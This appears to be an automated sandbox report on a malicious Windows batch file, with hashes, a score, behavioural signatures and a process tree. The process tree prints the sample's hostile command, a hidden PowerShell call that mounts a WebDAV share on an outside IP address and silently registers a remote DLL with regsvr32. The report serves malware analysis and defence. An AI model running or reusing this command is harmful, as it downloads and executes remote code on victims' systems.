Analysis
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max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
19-07-2024 06:46
Static task
static1
Behavioral task
behavioral1
Sample
2399958533013013977.bat
Resource
win7-20240705-en
windows7-x64
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
2399958533013013977.bat
Resource
win10v2004-20240709-en
windows10-2004-x64
8 signatures
150 seconds
General
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Target
2399958533013013977.bat
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Size
2KB
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MD5
4bc293db651301854de551fc0a84602b
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SHA1
0f555e9cad3a3ee87a3be1bb5142514e33de21f7
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SHA256
b77b6fc5e6023a7c4e9d72fec66f69041236c7a6d0501b29b847122652174a81
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SHA512
04eef81333e94a9c24574b6cf2d49943071c5db2b395ceb95c452b0333ae62adf2e057a9ae6caef9a60f8dce90611bce02d008a51be2d1d7ac45cb09972c1036
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2100 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2100 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2100 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2580 wordpad.exe 2580 wordpad.exe 2580 wordpad.exe 2580 wordpad.exe 2580 wordpad.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 984 wrote to memory of 2580 984 cmd.exe 31 PID 984 wrote to memory of 2580 984 cmd.exe 31 PID 984 wrote to memory of 2580 984 cmd.exe 31 PID 984 wrote to memory of 2100 984 cmd.exe 32 PID 984 wrote to memory of 2100 984 cmd.exe 32 PID 984 wrote to memory of 2100 984 cmd.exe 32 PID 2100 wrote to memory of 2816 2100 powershell.exe 34 PID 2100 wrote to memory of 2816 2100 powershell.exe 34 PID 2100 wrote to memory of 2816 2100 powershell.exe 34 PID 2100 wrote to memory of 2768 2100 powershell.exe 35 PID 2100 wrote to memory of 2768 2100 powershell.exe 35 PID 2100 wrote to memory of 2768 2100 powershell.exe 35 PID 2100 wrote to memory of 2768 2100 powershell.exe 35 PID 2100 wrote to memory of 2768 2100 powershell.exe 35
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\2399958533013013977.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:984 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2580
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\11401304018275.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2816
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\11401304018275.dll3⤵PID:2768
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